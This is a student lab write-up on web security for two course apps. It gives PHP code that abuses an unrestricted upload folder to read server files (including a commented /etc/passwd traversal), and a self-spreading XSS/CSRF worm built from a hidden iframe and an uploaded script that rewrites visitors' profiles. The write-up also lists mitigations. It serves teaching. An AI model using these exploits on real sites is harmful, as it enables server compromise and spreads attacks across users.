Ferhat Elmas
Przemyslaw Pietrzkiewicz
Javier Martín De Valmaseda Castro

Lab-7 Web (In)Security

How not to make a shared folder

In the minicache application user is allow to upload files of any kind, which are then stored in a subdirectory /data of the application directory.

Attacker can make use of this architecture simply by preparing any php script, uploading it to the application and then accessing the bravo/minicache/data/attacker_file.php site. The Apache will execute the script, and thus the attacker is able to execute any php code with the privileges of the Apache server.

One of the possible exploitations of this vulnerability would be to display a php source code of an application being run on the server (which normally is not possible):

```
<?php

$file = file_get_contents('../../miniblog/view.php', true);
     // file_get_contents('../../../../../../etc/passwd', true);
echo $file;

?>
```

Revealing the source code of the miniblog application could be possibly an entry point to attack of the second task.

The most natural mitigation for this vulnerability probably would be configuring the Apache server not to execute any files in the /data subdirectory. Other possible precautions include:

- Denial of certain file types
- Setting file permissions of the uploaded files so to preclude their execution
- Implementing abstract urls instead of the file-based physical urls (as in Django, Ruby on Rails web apps).

A simple XSS/CSRF worm

Blatant XSS vulnerability

Inspection of the *update.php* script (which is used to set the value of user motto which is later displayed by *view.php*) reveals that the user input is not sanitized in any way. Therefore we

can inject any client side script into our blah, which will be later executed by every client visiting our profile; we may conclude that the webapp contains a potential XSS vulnerability. Since minicache and miniblog are in the same domain, we can also utilize of minicache as another XSS entry point.

Blatant CSRF vulnerability

As the update.php does not verify whether the update request is genuine (using e.g. anti-csrf tokens) (and it even use GET to transfer the parameter values), we can force authenticated user to perform update of any kind simply by making him visit a html site which we prepare, which consititutes a CSRF vulnerability.

The worm itself

To start domino effect, firstly we inject some code into our profile:

```
Hi! I am a computer science student at EPFL
<iframe src=\”../minicache/data/newupdate.php\” width=\”0%\”
height=\”0%\”></iframe>”
```

Then, we create *newupdate.php* and upload it by minicache. *newupdate.php* will be similar in construction to *update.php* . It will set the blah field to contain the iframe which we use to proliferate the worm.

newupdate.php:

```
<?php

include "../../miniblog/session.inc.php";
include "../../miniblog/db.inc.php";

$blah = “<iframe src=\”../minicache/data/newupdate.php\” width=\”0%\”
height=\”0%\”></iframe>”;

$db->Execute('insert into profile (id,blah) values (?,?)
 on duplicate key update blah = ?', array($uid,$blah,$blah));

$file = “hackedUser.txt”;
$fh = fopen($file, “a”);
fwrite($fh, $uid);
fclose($fh);

?>
```

Then, we also uploaded an empty text file, *hackedUser.txt* that will be used by *newupdate.php* to log infected users.

As you can see from above, this worm doesn’t do anything harmful, just spreads itself utilizing vulnerabilities (proof of concept).